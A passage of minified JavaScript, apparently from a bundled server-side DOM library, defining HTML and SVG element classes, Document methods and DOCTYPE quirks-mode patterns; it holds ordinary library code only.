long",min:0,setmin:0,default:-1},autocomplete:String,type:{type:["text","hidden","search","tel","url","email","password","datetime","date","month","week","time","datetime-local","number","range","color","checkbox","radio","file","submit","image","reset","button"],missing:"text"},formTarget:String,formNoValidate:Boolean,formMethod:{type:["get","post"],invalid:"get",missing:""},formEnctype:{type:["application/x-www-form-urlencoded","multipart/form-data","text/plain"],invalid:"application/x-www-form-urlencoded",missing:""},inputMode:{type:["verbatim","latin","latin-name","latin-prose","full-width-latin","kana","kana-name","katakana","numeric","tel","email","url"],missing:""},align:String,useMap:String}});H7({tag:"keygen",name:"HTMLKeygenElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:nS,attributes:{name:String,disabled:Boolean,autofocus:Boolean,challenge:String,keytype:{type:["rsa"],missing:""}}});H7({tag:"li",name:"HTMLLIElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{value:{type:"long",default:0},type:String}});H7({tag:"label",name:"HTMLLabelElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:nS,attributes:{htmlFor:{name:"for",type:String}}});H7({tag:"legend",name:"HTMLLegendElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{align:String}});H7({tag:"link",name:"HTMLLinkElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{href:V0,rel:String,media:String,hreflang:String,type:String,crossOrigin:tV1,nonce:String,integrity:String,referrerPolicy:pMA,imageSizes:String,imageSrcset:String,charset:String,rev:String,target:String}});H7({tag:"map",name:"HTMLMapElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{name:String}});H7({tag:"menu",name:"HTMLMenuElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{type:{type:["context","popup","toolbar"],missing:"toolbar"},label:String,compact:Boolean}});H7({tag:"meta",name:"HTMLMetaElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{name:String,content:String,httpEquiv:{name:"http-equiv",type:String},scheme:String}});H7({tag:"meter",name:"HTMLMeterElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:nS});H7({tags:["ins","del"],name:"HTMLModElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{cite:V0,dateTime:String}});H7({tag:"ol",name:"HTMLOListElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{_numitems:{get:function(){var A=0;return this.childNodes.forEach(function(K){if(K.nodeType===$b6.ELEMENT_NODE&&K.tagName==="LI")A++}),A}}},attributes:{type:String,reversed:Boolean,start:{type:"long",default:function(){if(this.reversed)return this._numitems;else return 1}},compact:Boolean}});H7({tag:"object",name:"HTMLObjectElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:nS,attributes:{data:V0,type:String,name:String,useMap:String,typeMustMatch:Boolean,width:String,height:String,align:String,archive:String,code:String,declare:Boolean,hspace:{type:"unsigned long",default:0},standby:String,vspace:{type:"unsigned long",default:0},codeBase:V0,codeType:String,border:{type:String,treatNullAsEmptyString:!0}}});H7({tag:"optgroup",name:"HTMLOptGroupElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{disabled:Boolean,label:String}});H7({tag:"option",name:"HTMLOptionElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{form:{get:function(){var A=this.parentNode;while(A&&A.nodeType===$b6.ELEMENT_NODE){if(A.localName==="select")return A.form;A=A.parentNode}}},value:{get:function(){return this._getattr("value")||this.text},set:function(A){this._setattr("value",A)}},text:{get:function(){return this.textContent.replace(/[ \t\n\f\r]+/g," ").trim()},set:function(A){this.textContent=A}}},attributes:{disabled:Boolean,defaultSelected:{name:"selected",type:Boolean},label:String}});H7({tag:"output",name:"HTMLOutputElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:nS,attributes:{name:String}});H7({tag:"p",name:"HTMLParagraphElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{align:String}});H7({tag:"param",name:"HTMLParamElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{name:String,value:String,type:String,valueType:String}});H7({tags:["pre","listing","xmp"],name:"HTMLPreElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{width:{type:"long",default:0}}});H7({tag:"progress",name:"HTMLProgressElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:nS,attributes:{max:{type:Number,float:!0,default:1,min:0}}});H7({tags:["q","blockquote"],name:"HTMLQuoteElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{cite:V0}});H7({tag:"script",name:"HTMLScriptElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{text:{get:function(){var A="";for(var K=0,q=this.childNodes.length;K<q;K++){var Y=this.childNodes[K];if(Y.nodeType===$b6.TEXT_NODE)A+=Y._data}return A},set:function(A){if(this.removeChildren(),A!==null&&A!=="")this.appendChild(this.ownerDocument.createTextNode(A))}}},attributes:{src:V0,type:String,charset:String,referrerPolicy:pMA,defer:Boolean,async:Boolean,nomodule:Boolean,crossOrigin:tV1,nonce:String,integrity:String}});H7({tag:"select",name:"HTMLSelectElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:{form:nS.form,options:{get:function(){return this.getElementsByTagName("option")}}},attributes:{autocomplete:String,name:String,disabled:Boolean,autofocus:Boolean,multiple:Boolean,required:Boolean,size:{type:"unsigned long",default:0}}});H7({tag:"span",name:"HTMLSpanElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)}});H7({tag:"style",name:"HTMLStyleElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{media:String,type:String,scoped:Boolean}});H7({tag:"caption",name:"HTMLTableCaptionElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{align:String}});H7({name:"HTMLTableCellElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{colSpan:{type:"unsigned long",default:1},rowSpan:{type:"unsigned long",default:1},scope:{type:["row","col","rowgroup","colgroup"],missing:""},abbr:String,align:String,axis:String,height:String,width:String,ch:{name:"char",type:String},chOff:{name:"charoff",type:String},noWrap:Boolean,vAlign:String,bgColor:{type:String,treatNullAsEmptyString:!0}}});H7({tags:["col","colgroup"],name:"HTMLTableColElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{span:{type:"limited unsigned long with fallback",default:1,min:1},align:String,ch:{name:"char",type:String},chOff:{name:"charoff",type:String},vAlign:String,width:String}});H7({tag:"table",name:"HTMLTableElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{rows:{get:function(){return this.getElementsByTagName("tr")}}},attributes:{align:String,border:String,frame:String,rules:String,summary:String,width:String,bgColor:{type:String,treatNullAsEmptyString:!0},cellPadding:{type:String,treatNullAsEmptyString:!0},cellSpacing:{type:String,treatNullAsEmptyString:!0}}});H7({tag:"template",name:"HTMLTemplateElement",ctor:function(K,q,Y){vK.call(this,K,q,Y),this._contentFragment=K._templateDoc.createDocumentFragment()},props:{content:{get:function(){return this._contentFragment}},serialize:{value:function(){return this.content.serialize()}}}});H7({tag:"tr",name:"HTMLTableRowElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{cells:{get:function(){return this.querySelectorAll("td,th")}}},attributes:{align:String,ch:{name:"char",type:String},chOff:{name:"charoff",type:String},vAlign:String,bgColor:{type:String,treatNullAsEmptyString:!0}}});H7({tags:["thead","tfoot","tbody"],name:"HTMLTableSectionElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{rows:{get:function(){return this.getElementsByTagName("tr")}}},attributes:{align:String,ch:{name:"char",type:String},chOff:{name:"charoff",type:String},vAlign:String}});H7({tag:"textarea",name:"HTMLTextAreaElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:{form:nS.form,type:{get:function(){return"textarea"}},defaultValue:{get:function(){return this.textContent},set:function(A){this.textContent=A}},value:{get:function(){return this.defaultValue},set:function(A){this.defaultValue=A}},textLength:{get:function(){return this.value.length}}},attributes:{autocomplete:String,name:String,disabled:Boolean,autofocus:Boolean,placeholder:String,wrap:String,dirName:String,required:Boolean,readOnly:Boolean,rows:{type:"limited unsigned long with fallback",default:2},cols:{type:"limited unsigned long with fallback",default:20},maxLength:{type:"unsigned long",min:0,setmin:0,default:-1},minLength:{type:"unsigned long",min:0,setmin:0,default:-1},inputMode:{type:["verbatim","latin","latin-name","latin-prose","full-width-latin","kana","kana-name","katakana","numeric","tel","email","url"],missing:""}}});H7({tag:"time",name:"HTMLTimeElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{dateTime:String,pubDate:Boolean}});H7({tag:"title",name:"HTMLTitleElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{text:{get:function(){return this.textContent}}}});H7({tag:"ul",name:"HTMLUListElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{type:String,compact:Boolean}});H7({name:"HTMLMediaElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{src:V0,crossOrigin:tV1,preload:{type:["metadata","none","auto",{value:"",alias:"auto"}],missing:"auto"},loop:Boolean,autoplay:Boolean,mediaGroup:String,controls:Boolean,defaultMuted:{name:"muted",type:Boolean}}});H7({name:"HTMLAudioElement",tag:"audio",superclass:ud.HTMLMediaElement,ctor:function(K,q,Y){ud.HTMLMediaElement.call(this,K,q,Y)}});H7({name:"HTMLVideoElement",tag:"video",superclass:ud.HTMLMediaElement,ctor:function(K,q,Y){ud.HTMLMediaElement.call(this,K,q,Y)},attributes:{poster:V0,width:{type:"unsigned long",min:0,default:0},height:{type:"unsigned long",min:0,default:0}}});H7({tag:"td",name:"HTMLTableDataCellElement",superclass:ud.HTMLTableCellElement,ctor:function(K,q,Y){ud.HTMLTableCellElement.call(this,K,q,Y)}});H7({tag:"th",name:"HTMLTableHeaderCellElement",superclass:ud.HTMLTableCellElement,ctor:function(K,q,Y){ud.HTMLTableCellElement.call(this,K,q,Y)}});H7({tag:"frameset",name:"HTMLFrameSetElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)}});H7({tag:"frame",name:"HTMLFrameElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)}});H7({tag:"canvas",name:"HTMLCanvasElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{getContext:{value:vv.nyi},probablySupportsContext:{value:vv.nyi},setContext:{value:vv.nyi},transferControlToProxy:{value:vv.nyi},toDataURL:{value:vv.nyi},toBlob:{value:vv.nyi}},attributes:{width:{type:"unsigned long",default:300},height:{type:"unsigned long",default:150}}});H7({tag:"dialog",name:"HTMLDialogElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{show:{value:vv.nyi},showModal:{value:vv.nyi},close:{value:vv.nyi}},attributes:{open:Boolean,returnValue:String}});H7({tag:"menuitem",name:"HTMLMenuItemElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{_label:{get:function(){var A=this._getattr("label");if(A!==null&&A!=="")return A;return A=this.textContent,A.replace(/[ \t\n\f\r]+/g," ").trim()}},label:{get:function(){var A=this._getattr("label");if(A!==null)return A;return this._label},set:function(A){this._setattr("label",A)}}},attributes:{type:{type:["command","checkbox","radio"],missing:"command"},icon:V0,disabled:Boolean,checked:Boolean,radiogroup:String,default:Boolean}});H7({tag:"source",name:"HTMLSourceElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{srcset:String,sizes:String,media:String,src:V0,type:String,width:String,height:String}});H7({tag:"track",name:"HTMLTrackElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{src:V0,srclang:String,label:String,default:Boolean,kind:{type:["subtitles","captions","descriptions","chapters","metadata"],missing:"subtitles",invalid:"metadata"}},props:{NONE:{get:function(){return 0}},LOADING:{get:function(){return 1}},LOADED:{get:function(){return 2}},ERROR:{get:function(){return 3}},readyState:{get:vv.nyi},track:{get:vv.nyi}}});H7({tag:"font",name:"HTMLFontElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{color:{type:String,treatNullAsEmptyString:!0},face:{type:String},size:{type:String}}});H7({tag:"dir",name:"HTMLDirectoryElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{compact:Boolean}});H7({tags:["abbr","address","article","aside","b","bdi","bdo","cite","content","code","dd","dfn","dt","em","figcaption","figure","footer","header","hgroup","i","kbd","main","mark","nav","noscript","rb","rp","rt","rtc","ruby","s","samp","section","small","strong","sub","summary","sup","u","var","wbr","acronym","basefont","big","center","nobr","noembed","noframes","plaintext","strike","tt"]})});var Zb6=v((ST2)=>{var wYK=QMA(),LT2=Xb6(),RT2=P0(),yT2=sV1(),IT2=ST2.elements={},HYK=Object.create(null);ST2.createElement=function(A,K,q){var Y=HYK[K]||Gb6;return new Y(A,K,q)};function _b6(A){return LT2(A,Gb6,IT2,HYK)}var Gb6=_b6({superclass:wYK,name:"SVGElement",ctor:function(K,q,Y){wYK.call(this,K,q,RT2.NAMESPACE.SVG,Y)},props:{style:{get:function(){if(!this._style)this._style=new yT2(this);return this._style}}}});_b6({name:"SVGSVGElement",ctor:function(K,q,Y){Gb6.call(this,K,q,Y)},tag:"svg",props:{createSVGRect:{value:function(){return ST2.createElement(this.ownerDocument,"rect",null)}}}});_b6({tags:["a","altGlyph","altGlyphDef","altGlyphItem","animate","animateColor","animateMotion","animateTransform","circle","clipPath","color-profile","cursor","defs","desc","ellipse","feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence","filter","font","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","foreignObject","g","glyph","glyphRef","hkern","image","line","linearGradient","marker","mask","metadata","missing-glyph","mpath","path","pattern","polygon","polyline","radialGradient","rect","script","set","stop","style","switch","symbol","text","textPath","title","tref","tspan","use","view","vkern"]})});var XYK=v((GeH,OYK)=>{OYK.exports={VALUE:1,ATTR:2,REMOVE_ATTR:3,REMOVE:4,MOVE:5,INSERT:6}});var Kf1=v((ZeH,VYK)=>{VYK.exports=SUA;var jj=RW(),hT2=A9A(),DYK=FV1(),et=QMA(),bT2=ih6(),xT2=rh6(),IUA=bMA(),uT2=ah6(),BT2=th6(),mT2=hUA(),gT2=h9K(),FT2=g9K(),$YK=LUA(),_YK=aV1(),GYK=cV1(),QT2=Jb6(),Af1=QV1(),Wb6=eV1(),UT2=Zb6(),q2=P0(),dMA=XYK(),lMA=q2.NAMESPACE,Db6=BV1().isApiWritable;function SUA(A,K){DYK.call(this),this.nodeType=jj.DOCUMENT_NODE,this.isHTML=A,this._address=K||"about:blank",this.readyState="loading",this.implementation=new mT2(this),this.ownerDocument=null,this._contentType=A?"text/html":"application/xml",this.doctype=null,this.documentElement=null,this._templateDocCache=null,this._nodeIterators=null,this._nid=1,this._nextnid=2,this._nodes=[null,this],this.byId=Object.create(null),this.modclock=0}var pT2={event:"Event",customevent:"CustomEvent",uievent:"UIEvent",mouseevent:"MouseEvent"},dT2={events:"event",htmlevents:"event",mouseevents:"mouseevent",mutationevents:"mutationevent",uievents:"uievent"},cMA=function(A,K,q){return{get:function(){var Y=A.call(this);if(Y)return Y[K];return q},set:function(Y){var z=A.call(this);if(z)z[K]=Y}}};function ZYK(A,K){var q,Y,z;if(A==="")A=null;if(!Af1.isValidQName(K))q2.InvalidCharacterError();if(q=null,Y=K,z=K.indexOf(":"),z>=0)q=K.substring(0,z),Y=K.substring(z+1);if(q!==null&&A===null)q2.NamespaceError();if(q==="xml"&&A!==lMA.XML)q2.NamespaceError();if((q==="xmlns"||K==="xmlns")&&A!==lMA.XMLNS)q2.NamespaceError();if(A===lMA.XMLNS&&!(q==="xmlns"||K==="xmlns"))q2.NamespaceError();return{namespace:A,prefix:q,localName:Y}}SUA.prototype=Object.create(DYK.prototype,{_setMutationHandler:{value:function(A){this.mutationHandler=A}},_dispatchRendererEvent:{value:function(A,K,q){var Y=this._nodes[A];if(!Y)return;Y._dispatchEvent(new IUA(K,q),!0)}},nodeName:{value:"#document"},nodeValue:{get:function(){return null},set:function(){}},documentURI:{get:function(){return this._address},set:q2.nyi},compatMode:{get:function(){return this._quirks?"BackCompat":"CSS1Compat"}},createTextNode:{value:function(A){return new bT2(this,String(A))}},createComment:{value:function(A){return new xT2(this,A)}},createDocumentFragment:{value:function(){return new uT2(this)}},createProcessingInstruction:{value:function(A,K){if(!Af1.isValidName(A)||K.indexOf("?>")!==-1)q2.InvalidCharacterError();return new BT2(this,A,K)}},createAttribute:{value:function(A){if(A=String(A),!Af1.isValidName(A))q2.InvalidCharacterError();if(this.isHTML)A=q2.toASCIILowerCase(A);return new et._Attr(null,A,null,null,"")}},createAttributeNS:{value:function(A,K){A=A===null||A===void 0||A===""?null:String(A),K=String(K);var q=ZYK(A,K);return new et._Attr(null,q.localName,q.prefix,q.namespace,"")}},createElement:{value:function(A){if(A=String(A),!Af1.isValidName(A))q2.InvalidCharacterError();if(this.isHTML){if(/[A-Z]/.test(A))A=q2.toASCIILowerCase(A);return Wb6.createElement(this,A,null)}else if(this.contentType==="application/xhtml+xml")return Wb6.createElement(this,A,null);else return new et(this,A,null,null)},writable:Db6},createElementNS:{value:function(A,K){A=A===null||A===void 0||A===""?null:String(A),K=String(K);var q=ZYK(A,K);return this._createElementNS(q.localName,q.namespace,q.prefix)},writable:Db6},_createElementNS:{value:function(A,K,q){if(K===lMA.HTML)return Wb6.createElement(this,A,q);else if(K===lMA.SVG)return UT2.createElement(this,A,q);return new et(this,A,K,q)}},createEvent:{value:function(K){K=K.toLowerCase();var q=dT2[K]||K,Y=QT2[pT2[q]];if(Y){var z=new Y;return z._initialized=!1,z}else q2.NotSupportedError()}},createTreeWalker:{value:function(A,K,q){if(!A)throw TypeError("root argument is required");if(!(A instanceof jj))throw TypeError("root not a node");return K=K===void 0?$YK.SHOW_ALL:+K,q=q===void 0?null:q,new gT2(A,K,q)}},createNodeIterator:{value:function(A,K,q){if(!A)throw TypeError("root argument is required");if(!(A instanceof jj))throw TypeError("root not a node");return K=K===void 0?$YK.SHOW_ALL:+K,q=q===void 0?null:q,new FT2(A,K,q)}},_attachNodeIterator:{value:function(A){if(!this._nodeIterators)this._nodeIterators=[];this._nodeIterators.push(A)}},_detachNodeIterator:{value:function(A){var K=this._nodeIterators.indexOf(A);this._nodeIterators.splice(K,1)}},_preremoveNodeIterators:{value:function(A){if(this._nodeIterators)this._nodeIterators.forEach(function(K){K._preremove(A)})}},_updateDocTypeElement:{value:function(){this.doctype=this.documentElement=null;for(var K=this.firstChild;K!==null;K=K.nextSibling)if(K.nodeType===jj.DOCUMENT_TYPE_NODE)this.doctype=K;else if(K.nodeType===jj.ELEMENT_NODE)this.documentElement=K}},insertBefore:{value:function(K,q){return jj.prototype.insertBefore.call(this,K,q),this._updateDocTypeElement(),K}},replaceChild:{value:function(K,q){return jj.prototype.replaceChild.call(this,K,q),this._updateDocTypeElement(),q}},removeChild:{value:function(K){return jj.prototype.removeChild.call(this,K),this._updateDocTypeElement(),K}},getElementById:{value:function(A){var K=this.byId[A];if(!K)return null;if(K instanceof Bd)return K.getFirst();return K}},_hasMultipleElementsWithId:{value:function(A){return this.byId[A]instanceof Bd}},getElementsByName:{value:et.prototype.getElementsByName},getElementsByTagName:{value:et.prototype.getElementsByTagName},getElementsByTagNameNS:{value:et.prototype.getElementsByTagNameNS},getElementsByClassName:{value:et.prototype.getElementsByClassName},adoptNode:{value:function(K){if(K.nodeType===jj.DOCUMENT_NODE)q2.NotSupportedError();if(K.nodeType===jj.ATTRIBUTE_NODE)return K;if(K.parentNode)K.parentNode.removeChild(K);if(K.ownerDocument!==this)PYK(K,this);return K}},importNode:{value:function(K,q){return this.adoptNode(K.cloneNode(q))},writable:Db6},origin:{get:function(){return null}},characterSet:{get:function(){return"UTF-8"}},contentType:{get:function(){return this._contentType}},URL:{get:function(){return this._address}},domain:{get:q2.nyi,set:q2.nyi},referrer:{get:q2.nyi},cookie:{get:q2.nyi,set:q2.nyi},lastModified:{get:q2.nyi},location:{get:function(){return this.defaultView?this.defaultView.location:null},set:q2.nyi},_titleElement:{get:function(){return this.getElementsByTagName("title").item(0)||null}},title:{get:function(){var A=this._titleElement,K=A?A.textContent:"";return K.replace(/[ \t\n\r\f]+/g," ").replace(/(^ )|( $)/g,"")},set:function(A){var K=this._titleElement,q=this.head;if(!K&&!q)return;if(!K)K=this.createElement("title"),q.appendChild(K);K.textContent=A}},dir:cMA(function(){var A=this.documentElement;if(A&&A.tagName==="HTML")return A},"dir",""),fgColor:cMA(function(){return this.body},"text",""),linkColor:cMA(function(){return this.body},"link",""),vlinkColor:cMA(function(){return this.body},"vLink",""),alinkColor:cMA(function(){return this.body},"aLink",""),bgColor:cMA(function(){return this.body},"bgColor",""),charset:{get:function(){return this.characterSet}},inputEncoding:{get:function(){return this.characterSet}},scrollingElement:{get:function(){return this._quirks?this.body:this.documentElement}},body:{get:function(){return WYK(this.documentElement,"body")},set:q2.nyi},head:{get:function(){return WYK(this.documentElement,"head")}},images:{get:q2.nyi},embeds:{get:q2.nyi},plugins:{get:q2.nyi},links:{get:q2.nyi},forms:{get:q2.nyi},scripts:{get:q2.nyi},applets:{get:function(){return[]}},activeElement:{get:function(){return null}},innerHTML:{get:function(){return this.serialize()},set:q2.nyi},outerHTML:{get:function(){return this.serialize()},set:q2.nyi},write:{value:function(A){if(!this.isHTML)q2.InvalidStateError();if(!this._parser)return;if(!this._parser);var K=arguments.join("");this._parser.parse(K)}},writeln:{value:function(K){this.write(Array.prototype.join.call(arguments,"")+` `)}},open:{value:function(){this.documentElement=null}},close:{value:function(){if(this.readyState="interactive",this._dispatchEvent(new IUA("readystatechange"),!0),this._dispatchEvent(new IUA("DOMContentLoaded"),!0),this.readyState="complete",this._dispatchEvent(new IUA("readystatechange"),!0),this.defaultView)this.defaultView._dispatchEvent(new IUA("load"),!0)}},clone:{value:function(){var K=new SUA(this.isHTML,this._address);return K._quirks=this._quirks,K._contentType=this._contentType,K}},cloneNode:{value:function(K){var q=jj.prototype.cloneNode.call(this,!1);if(K)for(var Y=this.firstChild;Y!==null;Y=Y.nextSibling)q._appendChild(q.importNode(Y,!0));return q._updateDocTypeElement(),q}},isEqual:{value:function(K){return!0}},mutateValue:{value:function(A){if(this.mutationHandler)this.mutationHandler({type:dMA.VALUE,target:A,data:A.data})}},mutateAttr:{value:function(A,K){if(this.mutationHandler)this.mutationHandler({type:dMA.ATTR,target:A.ownerElement,attr:A})}},mutateRemoveAttr:{value:function(A){if(this.mutationHandler)this.mutationHandler({type:dMA.REMOVE_ATTR,target:A.ownerElement,attr:A})}},mutateRemove:{value:function(A){if(this.mutationHandler)this.mutationHandler({type:dMA.REMOVE,target:A.parentNode,node:A});MYK(A)}},mutateInsert:{value:function(A){if(jYK(A),this.mutationHandler)this.mutationHandler({type:dMA.INSERT,target:A.parentNode,node:A})}},mutateMove:{value:function(A){if(this.mutationHandler)this.mutationHandler({type:dMA.MOVE,target:A})}},addId:{value:function(K,q){var Y=this.byId[K];if(!Y)this.byId[K]=q;else{if(!(Y instanceof Bd))Y=new Bd(Y),this.byId[K]=Y;Y.add(q)}}},delId:{value:function(K,q){var Y=this.byId[K];if(q2.assert(Y),Y instanceof Bd){if(Y.del(q),Y.length===1)this.byId[K]=Y.downgrade()}else this.byId[K]=void 0}},_resolve:{value:function(A){return new _YK(this._documentBaseURL).resolve(A)}},_documentBaseURL:{get:function(){var A=this._address;if(A==="about:blank")A="/";var K=this.querySelector("base[href]");if(K)return new _YK(A).resolve(K.getAttribute("href"));return A}},_templateDoc:{get:function(){if(!this._templateDocCache){var A=new SUA(this.isHTML,this._address);this._templateDocCache=A._templateDocCache=A}return this._templateDocCache}},querySelector:{value:function(A){return GYK(A,this)[0]}},querySelectorAll:{value:function(A){var K=GYK(A,this);return K.item?K:new hT2(K)}}});var cT2=["abort","canplay","canplaythrough","change","click","contextmenu","cuechange","dblclick","drag","dragend","dragenter","dragleave","dragover","dragstart","drop","durationchange","emptied","ended","input","invalid","keydown","keypress","keyup","loadeddata","loadedmetadata","loadstart","mousedown","mousemove","mouseout","mouseover","mouseup","mousewheel","pause","play","playing","progress","ratechange","readystatechange","reset","seeked","seeking","select","show","stalled","submit","suspend","timeupdate","volumechange","waiting","blur","error","focus","load","scroll"];cT2.forEach(function(A){Object.defineProperty(SUA.prototype,"on"+A,{get:function(){return this._getEventHandler(A)},set:function(K){this._setEventHandler(A,K)}})});function WYK(A,K){if(A&&A.isHTML){for(var q=A.firstChild;q!==null;q=q.nextSibling)if(q.nodeType===jj.ELEMENT_NODE&&q.localName===K&&q.namespaceURI===lMA.HTML)return q}return null}function lT2(A){if(A._nid=A.ownerDocument._nextnid++,A.ownerDocument._nodes[A._nid]=A,A.nodeType===jj.ELEMENT_NODE){var K=A.getAttribute("id");if(K)A.ownerDocument.addId(K,A);if(A._roothook)A._roothook()}}function iT2(A){if(A.nodeType===jj.ELEMENT_NODE){var K=A.getAttribute("id");if(K)A.ownerDocument.delId(K,A)}A.ownerDocument._nodes[A._nid]=void 0,A._nid=void 0}function jYK(A){if(lT2(A),A.nodeType===jj.ELEMENT_NODE)for(var K=A.firstChild;K!==null;K=K.nextSibling)jYK(K)}function MYK(A){iT2(A);for(var K=A.firstChild;K!==null;K=K.nextSibling)MYK(K)}function PYK(A,K){if(A.ownerDocument=K,A._lastModTime=void 0,Object.prototype.hasOwnProperty.call(A,"_tagName"))A._tagName=void 0;for(var q=A.firstChild;q!==null;q=q.nextSibling)PYK(q,K)}function Bd(A){this.nodes=Object.create(null),this.nodes[A._nid]=A,this.length=1,this.firstNode=void 0}Bd.prototype.add=function(A){if(!this.nodes[A._nid])this.nodes[A._nid]=A,this.length++,this.firstNode=void 0};Bd.prototype.del=function(A){if(this.nodes[A._nid])delete this.nodes[A._nid],this.length--,this.firstNode=void 0};Bd.prototype.getFirst=function(){if(!this.firstNode){var A;for(A in this.nodes)if(this.firstNode===void 0||this.firstNode.compareDocumentPosition(this.nodes[A])&jj.DOCUMENT_POSITION_PRECEDING)this.firstNode=this.nodes[A]}return this.firstNode};Bd.prototype.downgrade=function(){if(this.length===1){var A;for(A in this.nodes)return this.nodes[A]}return this}});var Yf1=v((WeH,NYK)=>{NYK.exports=qf1;var nT2=RW(),fYK=ch6(),rT2=lV1();function qf1(A,K,q,Y){fYK.call(this),this.nodeType=nT2.DOCUMENT_TYPE_NODE,this.ownerDocument=A||null,this.name=K,this.publicId=q||"",this.systemId=Y||""}qf1.prototype=Object.create(fYK.prototype,{nodeName:{get:function(){return this.name}},nodeValue:{get:function(){return null},set:function(){}},clone:{value:function(){return new qf1(this.ownerDocument,this.name,this.publicId,this.systemId)}},isEqual:{value:function(K){return this.name===K.name&&this.publicId===K.publicId&&this.systemId===K.systemId}}});Object.defineProperties(qf1.prototype,rT2)});var $f1=v((DeH,cYK)=>{cYK.exports=gY;var oT2=Kf1(),aT2=Yf1(),jb6=RW(),Aq=P0().NAMESPACE,BYK=eV1(),r2=BYK.elements,q9A=Function.prototype.apply.bind(Array.prototype.push),zf1=-1,iMA=1,Mj=2,p9=3,Wm=4,sT2=5,tT2=[],eT2=/^HTML$|^-\/\/W3O\/\/DTD W3 HTML Strict 3\.0\/\/EN\/\/$|^-\/W3C\/DTD HTML 4\.0 Transitional\/EN$|^\+\/\/Silmaril\/\/dtd html Pro v0r11 19970101\/\/|^-\/\/AdvaSoft Ltd\/\/DTD HTML 3\.0 asWedit \+ extensions\/\/|^-\/\/AS\/\/DTD HTML 3\.0 asWedit \+ extensions\/\/|^-\/\/IETF\/\/DTD HTML 2\.0 Level 1\/\/|^-\/\/IETF\/\/DTD HTML 2\.0 Level 2\/\/|^-\/\/IETF\/\/DTD HTML 2\.0 Strict Level 1\/\/|^-\/\/IETF\/\/DTD HTML 2\.0 Strict Level 2\/\/|^-\/\/IETF\/\/DTD HTML 2\.0 Strict\/\/|^-\/\/IETF\/\/DTD HTML 2\.0\/\/|^-\/\/IETF\/\/DTD HTML 2\.1E\/\/|^-\/\/IETF\/\/DTD HTML 3\.0\/\/|^-\/\/IETF\/\/DTD HTML 3\.2 Final\/\/|^-\/\/IETF\/\/DTD HTML 3\.2\/\/|^-\/\/IETF\/\/DTD HTML 3\/\/|^-\/\/IETF\/\/DTD HTML Level 0\/\/|^-\/\/IETF\/\/DTD HTML Level 1\/\/|^-\/\/IETF\/\/DTD HTML Level 2\/\/|^-\/\/IETF\/\/DTD HTML Level 3\/\/|^-\/\/IETF\/\/DTD HTML Strict Level 0\/\/|^-\/\/IETF\/\/DTD HTML Strict Level 1\/\/|^-\/\/IETF\/\/DTD HTML Strict Level 2\/\/|^-\/\/IETF\/\/DTD HTML Strict Level 3\/\/|^-\/\/IETF\/\/DTD HTML Strict\/\/|^-\/\/IETF\/\/DTD HTML\/\/|^-\/\/Metrius\/\/DTD Metrius Presentational\/\/|^-\/\/Microsoft\/\/DTD Internet Explorer 2\.0 HTML Strict\/\/|^-\/\/Microsoft\/\/DTD Internet Explorer 2\.0 HTML\/\/|^-\/\/Microsoft\/\/DTD Internet Explorer 2\.0 Tables\/\/|^-\/\/Microsoft\/\/DTD Internet Explorer 3\.0 HTML Strict\/\/|^-\/\/Microsoft\/\/DTD Internet Explorer 3\.0 HTML\/\/|^-\/\/Microsoft\/\/DTD Internet Explorer 3\.0 Tables\/\/|^-\/\/Netscape Comm\. Corp\.\/\/DTD HTML\/\/|^-\/\/Netscape Comm\. Corp\.\/\/DTD Strict HTML\/\/|^-\/\/O'Reilly and Associates\/\/DTD HTML 2\.0\/\/|^-\/\/O'Reilly and 